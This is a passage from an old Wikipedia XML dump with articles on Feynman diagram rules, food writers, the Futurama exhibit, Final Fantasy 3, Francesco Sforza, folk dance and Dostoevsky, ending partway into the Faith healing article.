In [[Quantum electrodynamics|QED]], there are two field labels, called &quot;[[electron]]&quot; and &quot;[[photon]]&quot;. &quot;Electron&quot; is oriented while &quot;photon&quot; is unoriented. There is only one interaction label with degree 3 called &quot;&amp;gamma;&quot; to which is assigned a &quot;photon&quot;, an &quot;electron&quot; &quot;head&quot; and an &quot;electron&quot; &quot;tail&quot;.

===Real &amp;phi;&lt;sup&gt;4&lt;/sup&gt;===
In ([[real number|real]]) [[phi to the fourth|&amp;phi;&lt;sup&gt;4&lt;/sup&gt;]], there is only one field label, called &quot;&amp;phi;&quot; which is unoriented. There is also only one interaction label with degree 4 called &quot;&amp;lambda;&quot; to which is assigned four &quot;&amp;phi;&quot;'s.

[[Image:phi4_feynrules.png]]

==See also==
* [[Stückelberg-Feynman interpretation]]

== References ==
* Gerardus 't Hooft, Martinus Veltman, ''Diagrammar'', CERN Yellow Report 1973, [http://preprints.cern.ch/cgi-bin/setlink?base=cernrep&amp;categ=Yellow_Report&amp;id=1973-009 online]
* David Kaiser, ''Drawing Theories Apart: The Dispersion of Feynman Diagrams in Postwar Physics'', Chicago: University of Chicago Press, 2005.  ISBN 0-226-42266-6
* Martinus Veltman, ''Diagrammatica: The Path to Feynman Diagrams'', Cambridge Lecture Notes in Physics, ISBN 0521456924 (expanded, updated version of above)

== External links ==
* [http://www2.slac.stanford.edu/vvc/theory/feynman.html Feynman diagram page] at [[SLAC]]
* [http://www.ams.org/featurecolumn/archive/feynman1.html AMS article: &quot;What's New in Mathematics: Finite-dimensional Feynman Diagrams&quot;]
* [http://wikisophia.org/wiki/Wikitex_Feyn WikiTeX] supports editing Feynman diagrams directly in Wiki articles.
* [http://xml.web.cern.ch/XML/textproc/feynmf.html Drawing Feynman diagrams with LaTeX] and METAFONT, from a CERN site
*[http://newton.ph.unito.it/~masoero Feynman Rules.it] a kind and detailed introduction for italian students

[[Category:Scattering theory]]
[[Category:Quantum field theory]]
[[Category:Diagrams]]

[[de:Feynman-Diagramm]]
[[es:Diagrama de Feynman]]
[[fr:Diagramme de Feynman]]
[[hu:Feynman-gráf]]
[[pl:Diagram Feynmana]]
[[ru:Диаграммы Фейнмана]]
[[sl:Feynmanov diagram]]</text>
    </revision>
  </page>
  <page>
    <title>Food writing</title>
    <id>11619</id>
    <revision>
      <id>39423972</id>
      <timestamp>2006-02-13T01:21:38Z</timestamp>
      <contributor>
        <username>Jpbowen</username>
        <id>323196</id>
      </contributor>
      <minor />
      <comment>Changed category alphabetic ordering</comment>
      <text xml:space="preserve">A list of some prominent writers on [[food]], [[cooking]], [[Eating|dining]], and cultural history related to food.

==Authors==

*[[Jean-Anthelme Brillat-Savarin]]
*[[Jeffrey Steingarten]]
*[[James Beard]]
*[[Mrs Beeton]]
*[[Raymond Blanc]]
*[[Alton Brown]]
*[[Henri Charpentier]]
*[[Julia Child]]
*[[Craig Claiborne]]
*[[Shirley Corriher]]
*[[Fanny Cradock]]
*[[Curnonsky]]
*[[Tarla Dalal]]
*[[Elizabeth David]]
*[[Giada De Laurentiis]]
*[[Escoffier]]
*[[M. F. K. Fisher]]
*[[Marcella Hazan]]
*[[Amanda Hesser]]
*[[Alison Holst]]
*[[Madeleine Kamman]]
*[[Christopher Kimball]]
*[[Diana Kennedy]]
*[[Nigella Lawson]]
*[[Paul Levy]]
*[[A. J. Liebling]]
*[[David Leite]]
*[[Prosper Montagné]]
*[[Harold McGee]]
*[[Jamie Oliver]]
*[[Jacques Pepin]]
*[[Edouard de Pomaine]]
*[[Wolfgang Puck]]
*[[Gordon Ramsay]]
*[[Rachael Ray]]
*[[Ruth Reichl]]
*[[Gary Rhodes]]
*[[Marcel Rouff]]
*[[Nigel Slater]]
*[[Delia Smith]]
*[[Raymond Sokolov]]
*[[Anne Willan]]
*[[Martin Yan]]

==Books (not easily attributable to an author)==

* [[Larousse Gastronomique]]
* [[Forme of Cury]]

==See also==

* [[Cookbook]]
* [[List of cookbooks]]

[[Category:Food writers|*Food writing]]
[[Category:Literary genres]]
[[Category:Food and drink|Writing, food]]</text>
    </revision>
  </page>
  <page>
    <title>Four Pillars</title>
    <id>11620</id>
    <revision>
      <id>15909356</id>
      <timestamp>2002-03-22T03:12:03Z</timestamp>
      <contributor>
        <ip>213.253.39.226</ip>
      </contributor>
      <comment>*#REDIRECT [[Four Pillars of the Green Party]]</comment>
      <text xml:space="preserve">#REDIRECT [[Four Pillars of the Green Party]]</text>
    </revision>
  </page>
  <page>
    <title>Futurama (New York World's Fair)</title>
    <id>11621</id>
    <revision>
      <id>36522034</id>
      <timestamp>2006-01-24T17:46:02Z</timestamp>
      <contributor>
        <username>Philip lawton</username>
        <id>732741</id>
      </contributor>
      <comment>Added link to Futurama video at The Internet Archive</comment>
      <text xml:space="preserve">:''For the animated cartoon series, see [[Futurama]].''

'''Futurama''' was an exhibit/ride at the [[1939 New York World's Fair|1939-40 New York World's Fair]] designed by [[Norman Bel Geddes]] that showed the world 20 years into the future, including automated highways and vast suburbs.  The exhibit was sponsored by [[General Motors]].

An updated version, '''Futurama II''', appeared at the [[1964 New York World's Fair|1964/1965 New York World's Fair]].  The 1964 version depicted life in the &quot;near future&quot; with no specific date or decade defined.  Scenes showed a lunar base of operation, an [[Antarctic]] &quot;Weather Central&quot; climate forecasting center, underseas exploration and &quot;Hotel Atlantis&quot; for underseas vacationing, desert irrigation and [[land reclamation]], building roads in the Jungle and a City of the Future.  Visitors rode through the dioramas in 3-abreast chairs on a ride train.  The Futurama exhibit was sponsored by General Motors and proved to be the most popular exhibit at the World's Fair with more than 26 million persons attending the show in the two 6-month seasons the Fair was open.  Waiting lines were often two hours long and longer.

== External links ==
* [http://www.nywf64.com/ Website dedicated to the 1964/1965 New York World's Fair]
* [http://www.archive.org/details/ToNewHor1940 &quot;To New Horizons&quot; - a video document recording the display at the 1939/40 World's Fair (from the Prelinger archive)]

[[Category:New York City World's Fairs]]

[[es:Futurama]]</text>
    </revision>
  </page>
  <page>
    <title>Final Fantasy 3</title>
    <id>11622</id>
    <revision>
      <id>41596669</id>
      <timestamp>2006-02-28T11:20:58Z</timestamp>
      <contributor>
        <username>Nothings</username>
        <id>405626</id>
      </contributor>
      <minor />
      <comment>revert &quot;three&quot; to &quot;two&quot; since no explanation for &quot;three&quot; was ever given</comment>
      <text xml:space="preserve">'''''Final Fantasy 3''''' can refer to two [[computer and video games|video games]].

* ''[[Final Fantasy III|Final Fantasy 3]]'' for the [[Nintendo Entertainment System|Nintendo Family Computer]], often referred to as ''Final Fantasy 3j'', as it was never released in America, thus disrupting the number sequence. This game stars, at the beginning, the Onion Knights. This game was also where the trademark Final Fantasy job system originated. It has been [[Fan_translation|unofficially translated]] into English through emulation, and will soon be released for the [[Nintendo DS]].
* ''[[Final Fantasy VI|Final Fantasy 3]]'' is the American name for the original ''Final Fantasy 6'' which is the original Japanese name.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Francesco I Sforza</title>
    <id>11623</id>
    <revision>
      <id>41326264</id>
      <timestamp>2006-02-26T16:29:49Z</timestamp>
      <contributor>
        <username>Romanc19s</username>
        <id>301572</id>
      </contributor>
      <minor />
      <comment>[[fr:Francesco Sforza]]</comment>
      <text xml:space="preserve">[[Image:FrancsescoSforza.jpg|thumb|''Portrait of Francesco Sforza,'' ''ca'' 1460, by Bonifazio Bembo: Sforza insisted on being shown in his worn dirty old campaigning hat. (Pinacoteca  di Brera, Milan)]]

'''Francesco Sforza''' ([[1401]] - [[1466]]) was the founder of the [[Sforza]] dynasty in [[Milan]], [[Italy]].

The son of [[Muzio Sforza]], Francesco was originally a mercenary leader, most famous for being able to bend metal bars with his bare hands.  He later proved himself to be an expert tactician and very skilled field commander.  He saved the [[Visconti]] rulers of Milan from ruin on a number of occasions. As a reward, the then [[duke of Milan]], [[Filippo Maria Visconti]], allowed Francesco to marry his daughter [[Bianca Maria Visconti|Bianca]], but after the duke died without a male heir, [[Ambrosian Republic|fighting broke out]]. During this time, Franscesco turned against the Visconti, and seized control of Milan and its possessions.   

Under his rule (which was moderate and skillful), Francesco modernized the city and [[Duchy of Milan]]. He created an efficient tax system that generated enormous revenues for the government, his court became a center of [[Renaissance]] learning and culture, and the people of Milan loved him.

During Sforza's reign over Milan, [[Florence, Italy|Florence]] was under the command of [[Cosimo de' Medici]] and the two enlightened rulers became close friends.  This friendship eventually manifested in the [[Peace of Lodi]], an alliance between Florence and Milan that succeeded in stabilizing almost all of [[Italy]] for its duration.

Francesco is mentioned several times in [[Niccolò Machiavelli]]'s book [[The Prince]]; he is generally praised in that work for his ability to hold his country and as a warning to a prince not to use [[mercenary]] troops.

Regretably Francesco's successors were not nearly as competent, a number of them being dangerously unbalanced individuals.




[[Category:Dukes of Milan]]
[[Category:Knights of the Garter|Sforza, Francesco]]
[[Category:1401 births|Sforza, Francesco]]
[[Category:1466 deaths|Sforza, Francesco]]
[[Category:Sforza]]
[[Category:Condottieri|Sforza, Francesco]]

[[de:Francesco I. Sforza]]
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[[fr:Francesco Sforza]]
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    </revision>
  </page>
  <page>
    <title>Folk dance</title>
    <id>11624</id>
    <revision>
      <id>41812375</id>
      <timestamp>2006-03-01T22:33:30Z</timestamp>
      <contributor>
        <username>Tufkaa</username>
        <id>1001668</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Folk dance''' is a term used to describe a large number of dances that tend to share the following attributes:

* They were originally danced in about the 19th century or earlier (or are, in any case, not currently [[copyrighted]]);
* Their performance is dominated by an inherited tradition rather than by innovation;
* They were danced by common people and not exclusively by [[aristocracy]];
* There is no one governing body that has final say over what &quot;the dance&quot; is or who is authorized to teach it. This also means that no one has the final say over the definition of folk dance or the minimum age for such dances. 

Folk dances are traditionally performed during [[social dance|social events]] by people with little or no professional training. New dancers often learn informally by observing others and/or receiving help from others. Folk dancing is viewed as more of a social activity rather than [[competitive dance|competetive]], although there are professional and semi-professional folk dance groups, and occassional folk dance competitions.

==Types of folk dance==
Types of folk dance include [[Contradance]], [[English country dance]] (Although today's ECD is a revival), [[International folk dance]], [[Irish dance]], [[Maypole dance]], [[Morris dance]], [[Scottish country dance]] (Although the [[Royal Scottish Country Dance Society|RSCDS]] is a governing body, and country dancing in general was originally a pastime of the nobility),[[Square dance]], and [[Sword dance]]. Some [[choreographed]] dances such as [[Israeli folk dancing|Israeli folk dance]] are called folk dances, though they are not actually folk dances in the strictest sense. [[Country dance]] overlaps with contemporary folk dance and ballroom dance. Most country dances and ballroom dances originated from folk dances, with gradual refinement over the years.  

Folk dances are often part of the [[social fabric]] of the country, and often have common features. People familiar with folk dancing can often determine what country a dance is from even if they have not seen that particular dance before. Some countries' dances have features that are unique to that country, although neighoring countries sometimes have similar features.  For example, the [[Germany|German]] and [[Austrian]] [[Schuhplattler|schuhplattling dance]] consists of slapping the body and shoes in a fixed pattern, a feature that few other countries' dances have.  Folk dances sometimes evolved long before current political boundaries, so that certain dances are shared by several countries.  For example, some Serbian, Bulgarian, and Croatian dances share the same or similar dances, and sometimes even use the same name and music for those dances.

Although folk dancing was historically done by the common people of the local culture, [[International folk dance|international folk dance]] has received some popularity on college campuses and community centers within the [[United States]] and other countries.  

== Terminology == 
The term &quot;folk dance&quot; is sometimes applied to dances of historical European culture, typically originated before 20th century. For other cultures the terms ''[[ethnic dance]]'' or ''[[traditional dance]]'' are sometimes used, although the latter terms may encompass [[ceremonial dance]]s. 

Modern [[street dance]]s such as [[hip hop dance|hip hop]] are not generally considered folk dances because such dances are living and evolving dance forms, while folk dances are to a significant degree bound by tradition. 

[[Ballroom dance]], depending on the particular dance, can be considered folk dance. 

The terms ''ethnic'' and ''traditional'' are used when it is required to emphasize the cultural roots of the dance. It this sense, nearly all folk dances are ethnic ones. If some dances, such as [[polka]], cross ethnic boundaries (and even cross the boundary between ''Folk'' and ''[[Ballroom dance|Ballroom]]'' dance), ethnical differences are often considerable enough to speak of, e.g., &quot;Czech Polka&quot; vs. &quot;German Polka&quot;.

However, not all ethnic dances are folk ones. The simplest example of these are [[ritual dances]] or dances of ritual origin.

==Folk dancing in the media==
Richard Thompson wrote a song folk dancers titled ''Don't Sit On My Jimmy Shands'', a reference to Scottish musician [[Jimmy Shand]] that produced [[bagpipe]] music.  In the 1960's this movement was supported by record labels such as ''Folk Dancer'' by Michael and Maryann Herman, and the ''[[Folkways]]'' label by [[Moses Asch]] which is currently under the [[Smithsonian Institute]].

==See also==
* [[List of folk dances sorted by origin]], a sorted list of specific ethnic, folk, traditional, and regional dances
* [[Dance basic topics]], a list of general dance topics
* [[International folk dance]]
* [[Austrian folk dance]]
* [[Igor Moiseyev]]
* [[Contredanse|Contra dancing]]
* [[Bulgarian dances|Bulgarian folk dancing]]
* [[Israeli folk dancing]]
* [[Square dancing]]
* [[Country and Western dance]]
* [[China National Ethnic Song and Dance]]
* [[Ukrainian dance]]

==External links==
*[http://come.to/folkdance General information about Scandinavian folkdance]
*[http://www.recfd.com/ Additional folk dance information]
*[http://www.travel-impressions.de/music/dichosa.htm Photos of Regional and Cultural Genres of Music and Dance] 
*[http://www.folkdancing.org/ Folk Dance Association]
*[http://www.facone.org Folk Arts Center of New England]
*[http://www.ConnectChina.com China National Ethnic Song &amp; Dance Ensemble] 
*[http://www.phantomranch.net/folkdanc/articles.htm International folk dance articles]

[[Category:Dance]]
[[Category:Folklore]]
[[Category:Social dance]]
[[Category:Folk dances|*]]

[[da:Folkedans]]
[[de:Volkstanz]]
[[fr:Danse traditionnelle]]
[[he:ריקוד עם]]
[[ja:フォークダンス]]
[[nl:Volksdans]]
[[no:Folkedans]]
[[pl:Taniec ludowy]]
[[fi:Kansantanssi]]
[[sv:Folkdans]]
[[zh:民族舞蹈]]</text>
    </revision>
  </page>
  <page>
    <title>Fyodor Dostoevsky</title>
    <id>11625</id>
    <revision>
      <id>41935667</id>
      <timestamp>2006-03-02T19:07:57Z</timestamp>
      <contributor>
        <ip>213.114.36.86</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Dostoevsky 1872.jpg|framed|right|Fyodor Dostoevsky. Portrait by [[Vasily Perov]], 1872]]
'''Fyodor Mikhailovich Dostoevsky''' (Фёдор Миха́йлович Достое́вский, sometimes [[Transliteration of Russian into English|transliterated]]  '''Dostoyevsky''' {{Audio|ru-Dostoevsky.ogg|listen}}) ({{OldStyleDate|November 11|1821|October 30}} &amp;ndash; {{OldStyleDate|February 9|1881|January 28}}) was one of the greatest of [[Russian literature|Russian writers]], whose works have had a profound and lasting effect on [[twentieth-century]] fiction. Often featuring characters with disparate and extreme states of the mind, his works exhibit both an uncanny grasp of human [[psychology]] as well as penetrating analyses in the [[political|politics]], [[social]] and [[spirituality|spiritual]] state of Russia of his time. Many of his best-known works are prophetic as precursors of modern-day thought and preoccupations.  He is sometimes said to be a founder of [[existentialism]], most notably in ''[[Notes from Underground]]'', which has been described by [[Walter Kaufmann]] as &quot;the best overture for existentialism ever written&quot;. 
== Biography ==

Fyodor was the second of seven children born to Mikhail and Maria Dostoevsky. Shortly after his mother died of [[tuberculosis]] in [[1837]], he and his brother Mikhail were sent to the Military Engineering Academy at [[St. Petersburg]], and they lost their father, a retired military surgeon who served as a doctor at the Mariinsky Hospital for the Poor in [[Moscow]], in [[1839]]. While not known for certain, it is believed that Mikhail Dostoevsky was murdered by his own [[serf]]s, who reportedly became enraged during one of Mikhail's drunken fits of violence, restrained him, and poured [[vodka]] into his mouth until he drowned. Another story was that Mikhail died of natural causes, and a neighboring landowner invented this story of a peasant rebellion so he could buy the estate inexpensively. 

Dostoevsky was arrested and imprisoned on April 23rd of [[1849]] for engaging in revolutionary activity against [[Tsar]] [[Nicholas I of Russia|Nikolai I]]. On [[November 16]] that year he was [[death sentence|sentenced to death]] for anti-government activities linked to a liberal intellectual group, the [[Petrashevsky Circle]]. After a [[mock execution]] in which he was blindfolded and ordered to stand outside in freezing weather waiting to be shot by a [[firing squad]], Dostoevsky's sentence was commuted to a number of years of [[exile]] performing hard labor at a [[katorga]] prison camp in [[Omsk]], [[Siberia]]. The incidence of [[epilepsy|epileptic]] seizures, to which he was predisposed, increased during this period. He was released from prison in [[1854]], and was required to serve in the [[Siberian Regiment]]. Dostoevsky spent the following five years as a corporal (and latterly lieutenant) in the Regiment's Seventh Line Battalion stationed at the fortress of [[Semey|Semipalatinsk]] in [[Kazakhstan]].

This was a turning point in the author's life. Dostoevsky abandoned his earlier liberal sentiments and became deeply [[conservatism|conservative]] and extremely religious. He later formed a peculiar friendship with another archconservative, [[Konstantin Pobedonostsev]]. He began an affair with, and later married, Maria Dmitrievna Isaeva, the widow of an acquaintance in Siberia.

In [[1860]], he returned to St. Petersburg, where he ran a series of unsuccessful literary journals with his older brother Mikhail. Dostoevsky was devastated by his wife's death in [[1864]], followed shortly thereafter by his brother's death. He was financially crippled by business debts and the need to provide for his brother's widow and children. Dostoevsky sank into a deep [[clinical depression|depression]], frequenting gambling parlors and accumulating massive losses at the tables.

Dostoevsky suffered from an acute gambling compulsion as well as from its consequences. By one account ''[[Crime and Punishment]]'', possibly his best known novel, was completed in a mad hurry because Dostoevsky was in urgent need of an advance from his publisher. He had been left practically penniless after a gambling spree. Dostoevsky wrote ''[[The Gambler]]'' simultaneously in order to satisfy an agreement with his publisher [[Stellovsky]] who, if he did not receive a new work, would have claimed the copyrights to all of Dostoyevsky's writing.

Motivated by the dual wish to escape his creditors at home and to visit the casinos abroad, Dostoevsky traveled to Western Europe. There, he attempted to rekindle a love affair with Apollinaria (Polina) Suslova, a young university student with whom he had had an affair several years prior, but she refused his marriage proposal. Dostoevsky was heartbroken, but soon met Anna Grigorevna, a twenty-year-old [[stenographer]] whom he married in [[1867]]. This period resulted in the writing of his greatest books.  From [[1873]] to [[1881]] he vindicated his earlier journalistic failures by publishing a monthly journal full of short stories, sketches, and articles on current events &amp;mdash; the ''Writer's Diary''.  The journal was an enormous success. Dostoevsky is also to have known to influence and been influenced by famous Russian Philosopher [[Vladimir Sergeyevich Solovyov]], some state Solovyov was the prototype of the character Alyosha Karamozov .

In [[1877]] Dostoevsky gave the keynote [[eulogy]] at the funeral of his friend, the poet [[Nikolai Alekseevich Nekrasov|Nekrasov]], to much controversy.  In [[1880]], shortly before he died, he gave his famous [[Aleksandr Sergeevich Pushkin|Pushkin]] speech at the unveiling of the Pushkin monument in Moscow.

In his later years, Fyodor Dostoevsky lived for a long time at the resort of [[Staraya Russa]] which was closer to [[St Petersburg]] and less expensive than German resorts. He died on [[January 28]] ([[Julian calendar|O.S.]]), [[1881]] of a lung haemorrhage associated with an attack of epilepsy and was interred in [[Tikhvin Cemetery]] at the [[Alexander Nevsky Monastery]], [[St. Petersburg, Russia]]. Forty thousand mourning Russians attended his funeral. [1]

[1] Dostoevsky,Fyodor; Introduction- The Idiot, Wordsworth Ed. Ltd, 1996.

== Works and influence ==
[[Image:450px-Grab-dostojewsky.jpg|thumb|Dostoyevsky's tomb at the [[Alexander Nevsky Monastery]].]]

Dostoevsky's influence cannot be overemphasized&amp;mdash;from [[Herman Hesse]] to [[Marcel Proust]], [[William Faulkner]], [[Albert Camus]], [[Franz Kafka]], [[Henry Miller]], [[Yukio Mishima]], [[Gabriel García Márquez]] and [[Joseph Heller]]&amp;mdash;virtually no great twentieth century writer escaped his long shadow (rare dissenting voices include [[Vladimir Nabokov]], [[Henry James]], [[Joseph Conrad]] and, more ambiguously, [[D.H. Lawrence]]). American novelist [[Ernest Hemingway]] also cited Dostoevsky in his autobiographic books, as a major influence on his work. Essentially a writer of myth (and in this respect sometimes compared to [[Herman Melville]]), Dostoevsky has created an opus of immense vitality and almost hypnotic power characterized by the following traits: feverishly dramatized scenes (conclaves) where his characters are, frequently in scandalous and explosive atmosphere, passionately engaged in Socratic dialogues ''à la Russe''; the quest for God, the problem of Evil and suffering of the innocents haunt the majority of his novels; characters fall into a few distinct categories: humble and self-effacing [[Christianity|Christians]] ([[prince Myshkin]], [[Sonya Marmeladova]], [[Alyosha Karamazov]]), self-destructive [[nihilism|nihilists]] ([[Svidrigailov]], [[Smerdyakov]], [[Stavrogin]], the underground man), cynical debauchers ([[Fyodor Karamazov]]), rebellious intellectuals ([[Raskolnikov]], [[Ivan Karamazov]]); also, his characters are driven by ideas rather than by ordinary biological or social imperatives. 

Dostoevsky's novels are compressed in time (many cover only a few days) and this enables the author to get rid of one of the dominant traits of [[realism (arts)|realist]] prose, the corrosion of human life in the process of the time flux &amp;mdash; his characters primarily embody spiritual values, and these are, by definition, timeless. Other obsessive themes include [[suicide]], wounded pride, collapsed family values, spiritual regeneration through suffering (the most important motif), rejection of the West and affirmation of [[Russian Orthodoxy]] and [[Tsarism|Tsarism]]. Literary scholars such as [[Mikhail Bakhtin|Bakhtin]] have characterized his work as '[[polyphonic]]': unlike other novelists, Dostoevsky does not appear to aim for a 'single vision', and beyond simply describing situations from various angles, Dostoevsky engendered fully dramatic novels of ideas where conflicting views and characters are left to develop unevenly into unbearable crescendo.

By common critical consensus one among the handful of universal world authors, along with [[Dante Alighieri|Dante]], [[William Shakespeare|Shakespeare]], [[Goethe|Johann Wolfgang von Goethe]], [[Miguel de Cervantes]], [[Victor Hugo]] and a few others, Dostoevsky has decisively influenced twentieth century literature, [[existentialism]] and [[expressionism]] in particular.

== Major works ==

* ''Бедные Люди'' (''[[Poor Folk]]'') ([[1846]])
* ''Двойник: Петербургская Поэма'' (''[[The Double: A Petersburg Poem]]'') ([[1846]])
* ''Неточка Незванова'' (''[[Netochka Nezvanova]]'') ([[1849]])
* ''Село Степанчиково и его обитатели'' (''[[The Village of Stepanchikovo]]'' or ''The Friend of the Family'') ([[1859]])
* ''[[The Insulted and Humiliated]]'' (or ''The Insulted and the Injured'') ([[1861]])
* ''Записки из Подполья'' (''[[The House of the Dead]]'') ([[1862]])
* ''[[A Nasty Story]]'' ([[1862]])
* ''Записки из Подполья'' (''[[Notes from Underground]]'' or ''Letters from the Underworld'') ([[1864]])
* ''Преступление и Наказание'' (''[[Crime and Punishment]]'') ([[1866]])
* ''Игрок '' (''[[The Gambler (novella)|The Gambler]]'') ([[1867]])
* ''Идиот'' (''[[The Idiot (novel)|The Idiot]]'') ([[1868]])
* ''Бесы'' (''[[The Possessed]]'' or ''Demons'' or ''The Devils'') ([[1872]])
* ''Подросток'' (''[[The Raw Youth]]'' or ''The Adolescent'') ([[1875]])
* ''Братья Карамазовы'' (''[[The Brothers Karamazov]]'') ([[1880]])

== Short stories ==

Dostoyevsky's short stories are often overshadowed by his epic novels, but are equally powerful.

* &quot;[[White Nights (short story)|White Nights]]&quot; ([[1848]])
* &quot;[[A Christmas Tree and a Wedding]]&quot; ([[1848]])
* &quot;[[An Honest Thief]]&quot; ([[1848]])
* &quot;[[The Dream of a Ridiculous Man]]&quot; ([[1877]])
* &quot;[[The Peasant Marey]]&quot; ([[1876]])

{{wikiquote}}
{{wikisource|Author:Fyodor_Dostoevsky}}

== Cultural references ==

* The rock band [[British Sea Power]] directly references Dostoevsky in the song &quot;Apologies to Insect Life&quot;, which is loosely based on ''Notes from Underground''.

* The band [[Protest the Hero]] has stated that Dostoevesky was the main influence for their concept album ''Kezia''. They have also written and performed a song entitled &quot;I am Dimitri Karamazov and the World Is My Father&quot; on their EP ''A Calculated Use of Sound''.

* [[Brian Griffin]] reads ''Crime and Punishment'' in an episode of ''Family Guy''.

* Sam Weir reads ''Crime and Punishment'' in the episode &quot;Tricks and Treats&quot; on the TV show ''[[Freaks and Geeks]]''.

* ''[[The Machinist]]'' also seems to be influenced by Dostovsky's ''The Double'', in that the main character of the story is both the antagonist and the protagonist. The DVD commentary for ''The Machinist'' names ''The Double'' as a source of inspiration. The main character in ''The Machinist'' is also depicted at one point reading Dostoevsky's ''The Idiot''.

* In the British television series ''[[The Office]]'', season 1 episode 3, [[David Brent]] attempts to boost his ego by displaying a knowledge of Dostoevsky's life and works.

* In [[Woody Allen]]'s feature film ''[[Match Point]]'', the lead character is depicted reading Dostoevsky and often discusses him.

* Indie band [[Kind of Like Spitting]] recorded the song &quot;Dostoyevsky Gets Mugged Outside a Donut Shop in Jersey&quot; for their album ''Old Moon in the Arms of the New''.

* ''[[American Psycho]]'' by [[Bret Easton Ellis]] begins with a quote from ''[[Notes from Underground]]''.

* In ''[[The X-Files]]'' episode &quot;Talitha Cumi,&quot; much of the dialogue between the [[Cigarette Smoking Man]] and Jeremiah Smith is based on passages from [[The Grand Inquisitor]] in ''The Brothers Karamazov.

* The British post-punk band Magazine references Dostoyevsky in &quot;Philadelphia&quot; and &quot;Song from Under the Floorboards&quot; on their album ''The Correct Use of Soap''.

* Nietzsche said of Jesus: &quot;it is regrettable that no Dostoevsky lived near him.&quot; He also stated that Dostoevsky was the only psychologist from whom he had anything to learn. He said that ''Notes from the Underground'' &quot;cried truth from the blood&quot; and that &quot;finding Dostoevsky by accident was a pivotal point of change in his life&quot;

* [[Martin Scorsese]] drew from Dostoevsky's body of work in specifically ''Crime and Punishment'' and ''Notes from the Underground'' to create the movie ''[[Taxi Driver]]''. [http://www.geocities.com/jnyby83/ScorseseandDostoevsky.html]

* In [[Woody Allen]]'s comedy ''[[Love and Death]]'', Allen and friend casually use the titles of each major Dostoevsky novel to discuss the local news.

* In episode 39 of the tv show ''[[Lost]]'' Locke hands the prisoner [[Brothers Karamazov]] for reading and says that [[Hemingway]] lived in his shadow.

==External links and references==
* [http://www.FyodorDostoevsky.com FyodorDostoevsky.com] - The Definitive Dostoevsky fan site
* [http://Dostoyevsky.thefreelibrary.com/ Fyodor Dostoevsky's brief biography and works]
* {{gutenberg author| id=Fyodor+Dostoyevsky | name=Fyodor Dostoevsky}}
* [http://digital.library.upenn.edu/webbin/book/search?author=Dostoyevsky%2c+ Selected Dostoevsky e-texts from Penn Librarys digital library project]
* [http://librivox.org/notes-from-the-underground-by-fyodor-dostoyevsky/ Free audiobook] of ''[[Notes from Underground]]'' from [http://librivox.org LibriVox]
* [http://ilibrary.ru/author/dostoevski/ Full texts of some Dostoevsky's works in the original Russian]
* [http://www.fmdostoyevsky.com Fyodor Dostoyevsky] - Biography, ebooks, quotations, and other resources
* ''Crime and Punishment,'' Fyodor Dostoevsky, translated by Richard Pevear and Larissa Volokhonsky. Vintage Classics, 1992, New York.
* ''Crime and Punishment,'' Fyodor Dostoevsky, translated by Constance Garnett, introduction by Joseph Frank. Bantam Books, 1987, New York.
*[http://www.acad.carleton.edu/curricular/RUSS/Moscow/2001PhotoAlbum/StPetersburg/Dostoevsky_GogolSights/ Some photos of places and statues that are reminiscent of Dostoevsky and his work]
* [http://www.kiosek.com/dostoevsky/contents.html Dostoevsky Research Station]
* [http://www.emich.edu/public/history/moss/ ALEXANDER II AND HIS TIMES: A Narrative History of Russia in the Age of Alexander II, Tolstoy, and Dostoevsky]

{{Link FA|nl}}

[[Category:1821 births|Dostoevsky, Fyodor]]
[[Category:1881 deaths|Dostoevsky, Fyodor]]
[[Category:Russian novelists|Dostoevsky, Fyodor]]
[[Category:Russian short story writers|Dostoevsky, Fyodor]]

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[[no:Fjodor Dostojevskij]]
[[pl:Fiodor Dostojewski]]
[[pt:Fiódor Dostoiévski]]
[[ro:Fiodor Dostoievski]]
[[ru:Достоевский, Фёдор Михайлович]]
[[sk:Fiodor Michajlovič Dostojevskij]]
[[sl:Fjodor Mihajlovič Dostojevski]]
[[sr:Фјодор Михајлович Достојевски]]
[[fi:Fjodor Dostojevski]]
[[sv:Fjodor Dostojevskij]]
[[tl:Fëdor Dostoevskij]]
[[vi:Fyodor Mikhailovich Dostoevsky]]
[[tr:Fyodor Mikailoviç Dostoyevski]]
[[uk:Достоєвський Федір Михайлович]]
[[wa:Fyodor Mixhaylovitch Dostoyevskiy]]
[[zh:费奥多尔·陀思妥耶夫斯基]]</text>
    </revision>
  </page>
  <page>
    <title>Faith healing</title>
    <id>11627</id>
    <revision>
      <id>41739061</id>
      <timestamp>2006-03-01T11:41:43Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.3.49.1|82.3.49.1]] ([[User talk:82.3.49.1|talk]]) to last version by NiTenIchiRyu</comment>
      <text xml:space="preserve">''&quot;[[Spiritual healing]]&quot; redirects here. You may be looking for the album entitled ''[[Spiritual Healing]]'' by [[Death (band)|Death]].''

'''Faith healing''', or '''divine healing''', is the use of [[spirituality|spiritual]] means in treating [[disease]], sometimes accompanied (in extreme instances) with the refusal of modern [[medicine|medical]] techniques. Another term for this is '''spiritual healing'''. Faith healing is a form of [[alternative medicine]]. 

==Christian faith healing==
The term is sometimes used in reference to the belief of some [[Christianity|Christians]] who hold that [[God]] heals people through the power of the [[Holy Spirit]], often involving the &quot;[[laying on of hands]]&quot;. Those who hold to this belief do not usually use the term &quot;faith healing&quot; in reference to the practice; that expression is more often used descriptively by commentators outside of the faith movement in reference to the belief and practice.  

Many people who resort to faith healing do so in cases of otherwise incurable [[disease]].  However, there are groups that believe in faith healing as the primary (if not sole) remedy for any health problem.

The general consensus among [[Pentecostalism|Pentecostals]] and [[Charismatic]]s who believe in supernatural healing is that God ''always'' desires a Christian to be physically healthy, and that illness is a form of [[spiritual warfare|demonic attack]] which, through [[prayer]] and [[Bible|Biblical reading]] can be overcome.  Other Christian groups generally do not dispute that God ''can'' heal supernaturally, but take issue with the Pentecostal/Charismatic view that God is somehow ''required'' to heal when asked to do so.

The predominant view among supporters of faith healing is that medical treatment should be sought whenever necessary, and that the two are not incompatible (believing that God can heal ''both'' supernaturally ''and'' through modern medical practice).  However, there is an extreme view that teaches seeking medical treatment constitutes a &quot;lack of faith&quot; in supernatural healing.
 
The term &quot;faith healing&quot; is occasionally used in connection with [[Christian Science]], though its adherents maintain its practice of healing is methodical and does not rest on faith alone, but also on an intimate understanding of God's law.

